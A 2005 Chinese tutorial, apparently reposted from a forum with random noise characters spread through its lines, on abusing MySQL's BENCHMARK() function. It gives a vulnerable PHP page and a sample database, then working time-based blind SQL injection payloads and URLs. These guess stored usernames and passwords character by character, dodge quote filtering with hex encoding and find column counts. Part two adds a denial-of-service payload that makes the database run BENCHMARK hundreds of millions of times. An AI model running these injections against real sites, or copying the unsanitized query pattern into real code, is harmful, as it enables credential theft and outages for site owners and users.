MYSQL中BENCHMARK函数的利用 ( a# m5 r r+ m! i! A! \
本文作者:SuperHei% r9 q% K, b3 _! l0 m5 W
文章性质:原创. F7 P6 W& {2 N. }
发布日期:2005-01-02
% V8 ?! z6 i7 W6 W$ J( `' w% A完成日期:2004-07-09
V2 d7 |2 L0 t& k2 Q2 ?& F第一部
9 ~# Z6 w# v+ {, \- y. Q. I* u3 a" ^/ ` a* w5 f' W
利用时间推延进行注射---BENCHMARK函数在注射中的利用
1 g+ n1 l5 {% Z2 n/ e7 }$ c9 y" `# D" r4 ^
一.前言/思路
) h4 B E# u+ a4 n2 t
2 c; A' J, _- M4 z9 k c 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。1 i& b" _$ G2 R/ g S+ }) u+ O
6 b* h' u2 B9 M 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
) V/ M0 m# b& E9 U1 r5 D0 w
3 F" Q, p3 d5 e- t$ t二.关于BENCHMARK函数* m& M7 V* g; c g, j
7 W) ~8 z4 `" s' D4 ?* [ 在MySQL参考手册里可以看到如下描叙:
. W2 ~- D: ^9 @
' Y6 z- e. R7 M
9 V: ^4 m2 x% { W--------------------------------------------------------------------------------
/ g* K! O4 f7 f$ W1 C
9 `2 u2 X# G" cBENCHMARK(count,expr) 7 V; q/ E% u$ Q$ U$ W+ {: A
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
: |& C$ k1 a, v5 I5 d; _mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
+ t- I Y& W" F5 i+----------------------------------------------+
! c: S$ M9 c9 |0 K2 I. n| BENCHMARK(1000000,encode("hello","goodbye")) | * j" c2 D6 p. o/ [
+----------------------------------------------+
2 T( W3 P- t4 O% W- j! G" r* J8 _1 U| 0 | ; b2 i" @, Y. R4 a2 Z' D, A
+----------------------------------------------+
# X" S; Z5 T* p8 S' Y1 row in set (4.74 sec)
) y5 d; ]0 t5 Y ~) w: U7 M$ w
+ [; I3 P0 S. T! ^* x( I报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
0 ]& P% n, _! q; Z- s1 d5 z# i( H# }
8 C: K! l4 k& h4 Q
! F" ?9 d- h1 e" v7 m$ y. `8 ]6 O$ V--------------------------------------------------------------------------------
* {4 T- G& h$ a4 ` s q
2 K8 D( m6 `8 f+ r! A 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
9 v2 C2 x4 n4 I5 ]9 v7 a: m1 y5 s( A( Z! k9 h# }3 l$ ~
mysql> select md5( 'test' );
! P( \7 h M! w9 q. r/ W+----------------------------------+
3 f0 @6 u k! Q7 z| md5( 'test' ) |
# ?) @5 M0 d& Q& K0 s5 Q3 l+----------------------------------+ 5 U. A+ @) r/ k0 o% X+ L
| 098f6bcd4621d373cade4e832627b4f6 | 0 A# o w5 B' ^- _
+----------------------------------+ 3 b' e( k& a' [3 s- m6 W" f
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec . ~; I+ E2 O, S+ K
9 q8 a! S8 b, U2 w; N O- O# amysql> select benchmark( 500000, md5( 'test' ) ); * N. x3 x0 K- I/ b
+------------------------------------+ & Q4 ~4 R2 R. c7 R
| benchmark( 500000, md5( 'test' ) ) | 9 l. K7 ]' X7 d: q
+------------------------------------+ & m- E; S1 s# L- ~
| 0 | 5 W) w& d* a3 P
+------------------------------------+
* N8 Y/ [, z( M c- j2 B- d1 o% h% v1 row in set (6.55 sec) 〈------------执行时间为6.55 sec+ U2 h4 D4 Z }+ p3 D" E
" i9 B5 [" }: ^$ h* v5 S" Q" _
, b d Z; I7 p! n: l! X 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ( f3 l5 T- }( w# ?
2 R7 ]/ y, a6 c8 C
三.具体例子7 c% ?% C) M% l' } x
; \* F! } v; x1 g+ N F- N
首先我们看个简单的php代码:
v% _) t8 k! V, r1 ?' Y. F$ f+ l/ t& G9 ^! p% o
< ?php $ R2 f& t2 q0 \( Z8 y6 |* t! j1 m$ v
$servername = "localhost"; 4 E3 m& f2 G% a$ A1 \" T' \
$dbusername = "root"; * y3 \7 N, j" a
$dbpassword = "";
* `( S$ F; }2 M6 B9 ?7 c+ Q4 g0 |$dbname = "injection"; - R, ^8 T9 N* [; ]* f5 ` G
* W4 c& X$ K) @1 j7 ] K
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
/ c1 s( D4 {- k
* x0 _- P# Y% o( A! Z$sql = "SELECT * FROM article WHERE articleid=$id"; / f( N, i' L, ?' ?# ^
$result = mysql_db_query($dbname,$sql);
$ F, |( p) L$ K0 ^. d9 @% u$row = mysql_fetch_array($result); # u$ N, u( H7 [# h6 X- a
) M) ?* u* X# t0 l- d/ _) _
if (!$row)
; D8 i s2 o* |% ?5 E B% l6 k6 h{
F" K" ?9 S/ N( F' _7 {: I Z" Texit; 6 W, w7 N3 c2 j# V7 e, _
}
) L0 V1 M% x! A9 T?>5 C2 P3 O# I; e e$ x7 `
/ H) z8 {+ N( B4 f( n8 J
, M% A& u. R/ Q) s' y
数据库injection结构和内容如下:6 E4 Q$ L; Q) {" t0 P0 B
0 g/ @- p" ^% A8 A' B, ?- v6 D2 X" I5 l# 数据库 : `injection`
6 E# ~! v1 } b8 B3 z# 0 z. [& J5 ~9 I1 ~1 w9 h
, z& X8 |# L5 T% e. `
# --------------------------------------------------------
2 z" E; d* w U# b: C. ?: a1 H- q" [" J. e9 u
# 7 h5 [6 C, o. J, l3 P+ _9 c) |& ]
# 表的结构 `article` 8 R" S( e/ \) X ]% D: I( R3 S
# * P" `( D" w" m' W4 w% Y5 G4 [
' ]1 T6 _* f' p3 k- Y4 f
CREATE TABLE `article` ( . B7 ` e: z5 _, z- ^! a5 I3 n3 `
`articleid` int(11) NOT NULL auto_increment, : D! u+ D! [# v8 e
`title` varchar(100) NOT NULL default '',
' s0 s* R7 h/ s3 R`content` text NOT NULL,
& B1 C* s$ d6 C5 H5 ^" aPRIMARY KEY (`articleid`) ) t8 n2 o# ], a8 U9 Y
) TYPE=MyISAM AUTO_INCREMENT=3 ;
! j5 a$ d& s% C2 f
A" H8 p0 K* O# h9 _8 ^: M#
2 Z' b- |; a) ^2 c' W* S p# 导出表中的数据 `article`
( Z1 e8 J5 t5 A Q, J# 6 A9 E* b# j8 j8 q! m7 q
$ r2 W( r1 N9 d% a/ vINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
. Z! T* j$ J* HINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
7 W9 a; g5 i) A1 s+ G% [0 j$ q# L$ r) t2 o* @) t
# -------------------------------------------------------- % f& v! d% y8 U& ?, g( g% V2 q7 N
- |- q% O3 j- @) u. i4 N2 j. y# 2 b. G+ H) O% q% Q) N
# 表的结构 `user` 7 J* W9 }9 ~6 M% p' @9 j8 t8 i! {, T4 e
#
% P A3 X9 v# y. H Z; s$ e. A9 |1 T# B( E0 E
CREATE TABLE `user` ( * l$ ^' I/ G7 {4 x
`userid` int(11) NOT NULL auto_increment, " p! l! `3 j/ }/ g$ E' h
`username` varchar(20) NOT NULL default '',
0 b, p, |' j( b% P. H- _8 u) c`password` varchar(20) NOT NULL default '',
( F4 P) [! |+ a3 S, [7 @2 K( @( ^7 bPRIMARY KEY (`userid`) + d" R$ z5 n9 d W2 I
) TYPE=MyISAM AUTO_INCREMENT=3 ;
% w; E! b+ J7 s8 L7 v! g. a3 ^
2 l, O- Q2 M. w! h& [3 B#
9 ?, i, a+ ^1 L% @3 f# _# 导出表中的数据 `user` $ z5 ] \9 h0 H5 J/ b/ w ^$ ]
#
" c' \! j5 E* U* M# t+ d
- S9 t) g+ o& ?0 z- \3 L& [INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 2 c% t; j; R& k& _: V
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
+ H9 R1 U/ ]; F. P# K- [; V 6 N# S- V/ A, v
' W& O' v3 r( L$ G7 q
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:# J' C% F8 [6 d, B, q
; F" ]0 E/ _1 k' d
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
! I y ] r) D6 c + ^1 f# P# U: o2 r' T$ x, L% F/ b
; E' D/ V0 S$ I1 I+ \7 F
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:: {0 ]. K* W. _ z9 M
3 e* ]9 }- Y% N! g9 J* i9 O8 ohttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*$ _' R0 N# s6 E# ^* ?- o2 A: }
1 {* f; K; a6 ?1 J7 K0 @* G I9 P; M: w% y3 m
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 5 T1 s: u1 B" \6 ~# ^: |8 \
! l: k4 h: p% a* H
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 0 }' A/ O+ ]7 h# s$ y) }% V
/ }" A: [: v- e0 V) H' B8 Q+ ~第二部
* s$ y! Q2 {/ C5 U6 [0 i6 r- X' x9 y; X: [: A- I+ k7 |0 M0 [/ O' g
利用BENCHMARK函数进行ddos攻击 9 @4 C. ?8 ^. @+ k& h# R$ ~
5 r, _& K7 L6 L5 l9 } 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:2 J' y6 K( \% j' Y4 Q, l! n
; ?/ E$ X$ r' x0 ^! B2 u, a3 G
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
" l+ u- {0 L: @6 W8 E
: _" w; i0 C) c* O; i% E" a& o) A/ S
小结
% o$ D& I0 [& j; g* ~( s7 |+ t# B2 g8 w3 H
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。! H. P9 e/ A0 x* S& K
% b8 V% L0 z4 g) g: q- m
9 n- F; L( `( s& j1 i |